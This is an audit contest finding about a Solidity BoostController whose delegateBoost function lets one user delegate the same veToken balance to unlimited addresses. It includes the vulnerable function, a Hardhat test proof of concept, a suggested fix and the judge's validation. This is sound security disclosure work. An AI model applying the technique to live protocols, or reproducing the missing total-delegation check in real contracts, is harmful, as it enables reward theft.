Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

User can delegate boost to themselves using different addresses an unlimited amount of times

Summary

In BoostController users have the option to delegate their boost to another user. The problem is they can delegate to an unlimited amount of different addresses. A user could create several different addresses and delegate boost to themselves.

Vulnerability Details

Users have the ability to delegate their boost amount through the delegateBoost function in the BoostController. A problem arise due to the fact that the user can delegate an unlimited amount. The only check is that they have not already delegated to the address. An attacker could create several addresses and continuously delegate their boost amount to each of these addresses. They would then receive significantly more rewards than intended.

/**
* @notice Delegates boost from caller to another address
* @param to Address to delegate boost to
* @param amount Amount of boost to delegate
* @param duration Duration of the delegation in seconds
* @dev Requires sufficient veToken balance and no existing delegation
*/
//@audit-data user can delegate to an unlimited amount of addresses
function delegateBoost(
address to,
uint256 amount,
uint256 duration
) external override nonReentrant {
if (paused()) revert EmergencyPaused();
if (to == address(0)) revert InvalidPool();
if (amount == 0) revert InvalidBoostAmount();
if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
revert InvalidDelegationDuration();
uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
if (userBalance < amount) revert InsufficientVeBalance();
UserBoost storage delegation = userBoosts[msg.sender][to];
if (delegation.amount > 0) revert BoostAlreadyDelegated();
delegation.amount = amount;
delegation.expiry = block.timestamp + duration;
delegation.delegatedTo = to;
delegation.lastUpdateTime = block.timestamp;
emit BoostDelegated(msg.sender, to, amount, duration);
}

POC

The following POC demonstrates delegating the same amount to two different users. The user should only be entitled to delegate the amount they own.

Add the following test to BoostController.test.js and run npx hardhat test test/unit/core/governance/boost/BoostController.test.js

describe("Delegation Unlimited", () => {
it("User can delegate unlimited amount to several different users", async () => {
const amount = ethers.parseEther("500");
const duration = 7 * 24 * 3600; // 7 days
await expect(
boostController.connect(user1).delegateBoost(user2.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user2.address, amount, duration);
await expect(
boostController.connect(user1).delegateBoost(user3.address, amount, duration)
).to.emit(boostController, "BoostDelegated")
.withArgs(user1.address, user3.address, amount, duration);
const delegation = await boostController.getUserBoost(user1.address, user2.address);
expect(delegation.amount).to.equal(amount);
expect(delegation.delegatedTo).to.equal(user2.address);
const delegation2 = await boostController.getUserBoost(user1.address, user3.address);
expect(delegation2.amount).to.equal(amount);
expect(delegation2.delegatedTo).to.equal(user3.address);
});
});

Tools Used

Manual Review

Recommendations

Only allow the user to delegate the amount of boost they entitled to in total

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::delegateBoost lacks total delegation tracking, allowing users to delegate the same veTokens multiple times to different pools for amplified influence and rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!